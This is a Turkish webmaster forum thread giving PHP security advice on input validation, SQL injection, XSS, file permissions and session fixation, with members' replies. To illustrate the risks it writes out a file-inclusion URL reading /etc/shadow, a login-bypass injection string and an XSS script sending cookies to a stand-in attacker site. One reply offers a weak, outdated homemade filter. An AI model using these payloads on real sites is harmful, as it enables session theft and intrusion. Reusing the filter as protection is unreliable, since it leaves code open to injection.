İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

PHP'de Önemli Güvenlik Önlemleri

Angelo

0
İyinet Üyesi
Katılım
13 Aralık 2004
Mesajlar
9,603
Reaction score
111
Konum
AZ
1) Kullanıcı Input Kontrolü

Web siteniz üzerine kullanıcıdan gelen her türlü veriyi mutlaka filtrelemeniz gerekir. $_POST , $_GET, $_COOKIE gibi kullanıcılardan gelebilecek veriler sistemde dosya açma, veri tabanı işlemlerinde kullanılıyorsa mutlaka kullanıldıkları alana uygunlukları kontrol edilmelidir.

Örneğin navigasyonu, index.php?sayfa=XXXX şeklinde kurulmuş bir programın kodları aşağıdaki şekilde yazılırsa.

PHP:
if ($_GET['sayfa']) {
include($_GET['sayfa']);
}

Çok büyük bir güvenlik açığı var demektir. Programın beklediği URL ler index.php?sayfa=sozler.html iken, kötü niyetli bir kullanıcı index.php?sayfa=/etc/shadow ile tüm unix sisteminin password dosyasını ele geçirebilir.

Bunun daha da kötüsü eski versiyon PHP kullanıp register_globals ON tutulmuşsa, her türlü değişkene URL satırından değer vermek mümkün olur.

Diğer bir örnekte veritabanına kullanıcı doğrulaması yapılan bir kodda

SELECT username FROM users WHERE username='$user' AND password='$pass'

Sorgusu kullanılıyor ise, kötü niyetli bir kullanıcı URL satırından
login.php?pass=' OR '1'='1 girdisini verdiğinde SQL aşağıdaki şekle dönüşür

SELECT username FROM users WHERE username='$user' AND password='' OR '1'='1'

Bu sorgu sonucunda şifresiz bir şekilde kullanıcı adına giriş yapabilirsiniz.


2) Kullanıcı Input + XSS

Yine kullanıcı, cross site scripting dediğimiz şekilde bir siteden başka bir siteye veri kaçırma işlemi yapabilir. HTML elementleri kabul eden bir formunuza kötü niyetli bir kullanıcı aşağıdaki html kodunu girebilir.

Kod:
<script>
window.location.href='http://www.kotuadaminsitesi.com/'+document.cookie;
</script>

Bu tarz bir enjeksiyon ile X sitesindeki kişilerin cookieleri kötü adamın sitesine taşınır. Cookie ile hassas bilgi taşınan sitelerde, bu sayede kötü adam herhangi bir kullanıcı adına diğer siteye giriş yapabilir.

* İlla html tagları gerekliyse, en azından <script> gibi zararlı şeylere açık taglar filtrelenmelidir. Bunun için htmlspecialchars(), strip_tags() gibi fonksiyonları inceleyiniz.

* Diğer türlü enjeksiyonlar için addslashes() fonksiyonu ile tırnaklar escape edilmeli, her türlü form girdisi, programın beklediği özellikleri taşıyıp taşımadığına dair kontrol edilmelidir.

* Asla kullanıcı girdisinden file include(), require() fonksiyonları kullanılmamalıdır. Veya filtrelenerek kullanılmalıdır.


3) Dosya İzinleri

config.php db.php gibi veritabanı şifrelerinin plain-text saklandığı ortamlarda mutlaka sunucuların dosya okuma izin ayarları doğru yapılmalı. Genelde shared host ortamlarında herhangi başka bir kullanıcının web dizin adresi bulunduğunda, o dizinlere fopen() ile erişim sağlanabiliyorsa, o host ortamında büyük bir güvenlik açığı var demektir. Bir çok panel, ve eski versiyon uygulama, php+apache ortamında safe mode veya open basedir varsayılan olarak kullanmamaktadır. Birden çok kullanıcının eriştiği ortamlarda mutlaka herkes kendi dizinine limitlendirilmeli, diğer kişilerin dizinlerine dosya açma izini verilmemelidir.

4) Hata Bildirimleri

Hata bildirimlerini mutlaka kapayınız. Dizin ve dosya isimleri hata bildiriminde browsera verilmekte ve kötü niyetli kullanıcılar uygulamanız hakkında ek bilgi edinebilmektedir. PHP'de error_reporting bölümünü inceleyin.

5) Session Güvenliği

Sessionlar en çok hatalı ve zarar verilmeye açık kod yazılan alanlardan biridir.

Herşeyden önce session bilgisinin tutulduğu /tmp, /var/lib/php/session gibi dizinlere erişimler kısıtlanmalıdır. Dosya listesi çekmek için yapılacak bir işlemde bile diğer insanların Session ID bilgileri listelenebilmektedir. Herhangi bir kişinin Session ID'sine sahipseniz, sunucuya kendinizi o kişi olarak tanıtabilme yeteneğine kavuşursunuz.

PHP:
if ($_SESSION['user_id']) {
echo 'logged in';
}

Bu tarz bir kod asla tek başına bir kişinin giriş yapıp yapmadığına bir işaret olarak kullanılmamalıdır. İdeal olarak, performans sorununuz yoksa database'den user_id veya password gibi alanlar her adımda onaylatılarak devam edilebilir.

Yine XSS kullanarak kötü adam size özel bir session_id sini X sitesine girdiğinizde üstünüze atayabilir. (COOKIE veya URLden). Kullanıcı session_id sini alır ve sitede gezmeye başlar. Siteye giriş yapar yapmaz ise yukarıdaki örnekteki gibi sitenin sadece özel kullanıcılarına açık alana girer. Kötü adam ise, daha önceden kendisi atadığı session_id sine sahip olduğu için kendini o kullanıcı gibi gösterip içeriye giriş izni bulur.

Bu çok basit bir teknik gibi görünsede web sitelerinin bir çoğu bu atağa karşı açıktır. Kullanıcılar giriş yaptıktan sonra session_regenerate_id() ile session idlerini mutlaka yeniden atayınız. Giriş yapmadan önceki ID'nin güvenilirliği sizde olmadığı için mutlaka yeni bir tane veriniz. Onu sizin verdiğinizden eminsiniz, ama diğeri kötü adam tarafından verilmiş olabilir.

Ek olarak session güvenliği için, kullanıcının IP Adresi, User Agent'i şifrelenmiş olarak veritabanından kontrol edilebilir. Bu sayede kötü adam ID'ye sahip olsa bile önüne bir adım engel daha koymuş olacaksınız.

Kredi kartı, şifre gibi bilgileri asla session veya cookie üzerinde plain-text olarak taşımayınız.


--

Devam edecek.
 

OsmanAtabey

0
İyinet Üyesi
Katılım
26 Mart 2005
Mesajlar
922
Reaction score
4
Eline sağlık Angelo başlangıç için güzel bilgiler vermişsin.
 

yagmayok

1
İyinet Üyesi
Katılım
25 Ocak 2005
Mesajlar
7,131
Reaction score
89
Bu bağlamda benim kullandığım filtreleme şu şekildedir. Galiba aşağıda uyguladığım filtreleme yeterli oluyor. Angelo bu bağlamda da bir bakar ve evet yeterlidir veya değildir diye de yorumlarsa memnun olurum.

PHP:
function guven($string)
{
if(get_magic_quotes_gpc())
{
$string = stripslashes($string);
}
elseif(!get_magic_quotes_gpc())
{
$string = addslashes($string);
}
$string = @mysql_real_escape_string($string);
return $string;
}


function filtre($q) {  

$q = str_replace("`","",$q);  
$q = str_replace("&","",$q);  
$q = str_replace("%","",$q);  
$q = str_replace("'","",$q);  
$q = str_replace("<","",$q);  
$q = str_replace(">","",$q);  
$q = str_replace("script","",$q); 


$q=trim($q);  

return $q;  

}
 

Angelo

0
İyinet Üyesi
Katılım
13 Aralık 2004
Mesajlar
9,603
Reaction score
111
Konum
AZ
İkinci filtre için htmlspecialchars kullanılabilir. Bir de scripti komple değiştirmene gerek yok, mesela bir yorum formu ise bu, script kelimesi kullanılabilir bence kullanıcı tarafından.

SQL komutlarında addslashes() ya da real escape'e ek olarak, stringi doğrulamaya sokmak da gerekebilir çoğu zaman. Uygulamaya bağlı. Yani aslında genel bir koruma yok. Koda göre her türlü string doğrulamadan geçmeli. Dediğim gibi.

* Diğer türlü enjeksiyonlar için addslashes() fonksiyonu ile tırnaklar escape edilmeli, her türlü form girdisi, programın beklediği özellikleri taşıyıp taşımadığına dair kontrol edilmelidir.

Integer bekliyorsan, integer. 5 harfli string bekliyorsan 5 harfli string. Beklediğinden değişik birşey geliyorsa, %1 ihtimalle kod da kırıklık vardır, %99 ihtimalle biri birşeyler yapmaya çalışıyordur zaten.

Tırnağa bağlı olmayan sorgu tipleri olabilir, onlara tırnak içermeyen bir SQL enjeksiyonu yapabilir. Örnek yazmıştım ama, gerek yok şimdi hek için yol öğretmek gibi olmasın diye sildim. mysql real escape string bir çok durumda kurtarır ancak kod yapısına bağlı. En güzeli, ID alıyorsan url'den integer olup olmadığını kontrol etmen. Veya başka türlü yapılar için ona göre kontroller.
 

kuaza

0
İyinet Üyesi
Katılım
4 Ağustos 2009
Mesajlar
835
Reaction score
7
GET ile aldiginiz bilgi sadace RAKAM ise asagidaki sekilde kullanin:

$degisken=(int)$_GET['ID'];

(int) degeri sadece sayilari alacaktir. yani harf yada baska bir isaret gelirse direk kesecektir.. sadece sayi kullaniyorsaniz bu isin isinizi gorecektir :)
 

peep

0
İyinet Üyesi
Onaylı Üye
Katılım
20 Mayıs 2007
Mesajlar
6,382
Reaction score
87
ellerine sağlık çok güzel yazmışsın
 

evrencik

0
İyinet Üyesi
Katılım
24 Şubat 2010
Mesajlar
4
Reaction score
0
phpye başlayalı 2 ay fln oldu ve bir mp3 scripti yazdım ama güvenliğin 0 olduğunu düşünüyorum makaleler araştırıyorum inşallah bu güvenlik olayını çözerim
 

kuaza

0
İyinet Üyesi
Katılım
4 Ağustos 2009
Mesajlar
835
Reaction score
7
inceleme sansimiz olursa bir kac sey onerebiliriz :)
 

zemed

0
İyinet Üyesi
Katılım
19 Nisan 2010
Mesajlar
0
Reaction score
2
Konum
php.exe
Sadece verileri filtrelemekten ziyade diğer bazı açıklarda ciddi zararlar verebiliyor. Durum böyle olunca 13 yaşındaki velet ben heckırım(!) diye dolanıp gece gündüz emek harcayıp oluşturduğumuz siteye zarar verebiliyor. Benim de önerebileceğim diğer önlemler :

1- Verilerinizi kendi panelinizden silerken bile tek kullanımlık bir jeton(token) oluşturmanız. CSRF açığını engellemiş olursunuz. Bu yöntemi get ve post yöntemlerinde uygulayınız.

2- Form action kısmında düz bir şekilde $_SERVER['PHP_SELF'] kullanmayınız. Bu da açığa sebep olur.

3- php.ini yapılandırmanızı sağlam hale getirmelisiniz. Özellikle disable_functions kısmına dikkat ediniz.

1. ve 2. maddeler için sitemde makale yazmıştım. Kısmetse 3. madde için de yazacağım...

1. maddenin makalesi : http://www.sametozden.com/PHP_ve_CSRF_acigi-18-sayfalar.html
2. maddenin makalesi : http://www.sametozden.com/Formlarda__SERVERPHP_SELF_kullanimindaki_tehlike-23-sayfalar.html
 

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Üst